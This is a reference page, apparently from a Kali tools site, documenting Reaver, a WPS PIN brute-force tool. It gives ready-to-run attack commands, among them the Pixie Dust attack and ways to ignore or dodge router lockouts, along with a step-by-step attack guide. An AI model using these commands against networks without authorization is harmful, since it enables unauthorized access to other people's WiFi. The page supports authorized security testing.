GO KALI FREE

Reaver

Wireless Attacks

Advancedmedium risk

Reaver implements a brute force attack against WiFi Protected Setup (WPS) registrar PINs to recover WPA/WPA2 passphrases.

Installation

sudo apt install reaver

Basic Syntax

reaver -i <monitor-interface> -b <bssid> [options]

Quick Facts

Full Name
Reaver
License
GPL
Category
Wireless Attacks
Target
WPS PIN
Attack Type
Brute Force / Pixie Dust

Tool Overview

Reaver is a wireless security testing tool that implements brute force attacks against WiFi Protected Setup (WPS) registrar PINs to recover WPA/WPA2 passphrases. It exploits the WPS protocol's design weakness where the 8-digit PIN can be verified in two halves, reducing the keyspace from 100 million to approximately 11,000 attempts.

The tool supports both online brute force attacks and the Pixie Dust offline vulnerability exploit for faster PIN recovery on vulnerable routers. Reaver is commonly used in WiFi security assessments to verify that WPS is properly disabled or that PINs are resistant to brute force attacks.

Common Commands

airmon-ng start wlan0Enable monitor mode - Create a monitor interface (wlan0mon) required by Reaver
wash -i wlan0monFind WPS networks - List nearby access points with WPS enabled
wash -i wlan0mon -CIgnore FCS errors - Show WPS APs even when frame checksums fail
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vvBasic attack - Verbose brute force of the target WPS PIN
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vvvMax verbosity - Show every message for detailed troubleshooting
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvLock channel - Attack on a fixed channel to avoid channel hopping
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K 1Pixie Dust attack - Attempt an offline vulnerability exploit for faster recovery
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -d 0 -vvNo delay - Remove delay between attempts to speed up scanning
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -d 15 -vvAdd delay - Wait 15 seconds between attempts to avoid lockout
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p 12345670Set known PIN - Skip brute force and test a specific WPS PIN
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -vvIgnore lockout - Continue attacking even when the AP reports WPS locked
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -N -vvNo NACK - Do not send NACK messages when out-of-order packets are received
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -s session.wpcSave session - Write progress to a session file for later resumption
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -r 3:15 -vvRate limit - Sleep 15 seconds after every 3 attempts to dodge lockout
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -e MyNetwork -vvTarget ESSID - Attack a specific network name, useful for hidden SSIDs

Step-by-Step Guide

  1. 1Place your wireless interface into monitoring mode
  2. 2Locate nearby networks that still support WPS functionality
  3. 3Record the hardware address of the vulnerable access point
  4. 4Initiate the script against the target address
  5. 5Allow the process to run, which may require several hours
  6. 6The utility will present the PIN and network password upon completion
  7. 7If the router institutes a lockout, pause the attack and resume later

Use Cases

WPS Security Assessment

Test whether WPS-enabled access points are vulnerable to PIN brute force attacks.

Forgotten Password Recovery

Recover forgotten WiFi passwords through WPS PIN recovery when authorized.

Penetration Testing

Gain wireless network access through WPS vulnerabilities during authorized engagements.

Key Features

Related Tools

Wifite

Wireless Attacks

Automated wireless attack tool that includes WPS attacks alongside WEP/WPA cracking.

Hashcat

Password Attacks

GPU-accelerated cracker for WPA/WPA2 handshakes captured after WPS PIN recovery.

Bully

Wireless Attacks

Alternative WPS brute force tool with different lockout handling.

Frequently Asked Questions

What is Reaver used for?

Reaver is used to brute force WiFi Protected Setup (WPS) PINs to recover WPA/WPA2 passphrases. It exploits the WPS protocol's design weakness where the 8-digit PIN can be verified in two halves, reducing the keyspace from 100 million to approximately 11,000 attempts.

How does the WPS PIN attack work?

WPS uses an 8-digit PIN split into two halves: the first 4 digits (checksum-protected) and the last 4 digits. Reaver tests each half separately, reducing the attack from 100 million combinations to roughly 11,000 attempts, making brute force practical within hours.

What is the Pixie Dust attack?

Pixie Dust is an offline attack against WPS that exploits weak random number generation in certain router implementations. It recovers the WPS PIN in seconds without online brute forcing, but only works against vulnerable routers (primarily older models).

How long does a Reaver attack take?

A standard Reaver attack takes 2-10 hours depending on router response time and lockout mechanisms. The Pixie Dust attack takes seconds to minutes against vulnerable routers. Most routers implement rate limiting or lockouts after failed attempts.

Is Reaver legal to use?

Reaver is legal software for authorized security testing. Using it against networks you don't own or have permission to test is illegal. It is commonly used in penetration testing engagements and WiFi security assessments with proper authorization.

What is the difference between Reaver and Bully?

Reaver and Bully both attack WPS PINs, but Reaver is more mature with better lockout handling. Bully supports more attack modes and is sometimes faster. Both support Pixie Dust attacks. Reaver is generally more reliable for long-running attacks.

Can Reaver recover WPA2 passwords without WPS?

No, Reaver specifically targets the WPS protocol. If WPS is disabled on the router, Reaver cannot function. For WPA2 handshakes without WPS, use airodump-ng to capture handshakes and hashcat or aircrack-ng for cracking.

How do I deal with WPS lockout?

Routers often implement lockout mechanisms that block WPS after failed attempts. Use the -d flag to add delays between attempts, or use -l for session locking to resume after lockout expires. Some routers require waiting 5-30 minutes for lockout to reset.

Can Reaver work with hidden SSIDs?

Yes, Reaver works with hidden SSIDs. Use the -b flag with the BSSID (MAC address) instead of the SSID. Hidden networks are discoverable through probe requests and management frames even when SSID broadcast is disabled.

What monitors mode does Reaver require?

Reaver requires a wireless adapter in monitor mode. Use airmon-ng to enable monitor mode: airmon-ng start wlan0. The resulting monitor interface (usually wlan0mon) is used with Reaver's -i flag.

Tags

#wireless-attacks

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.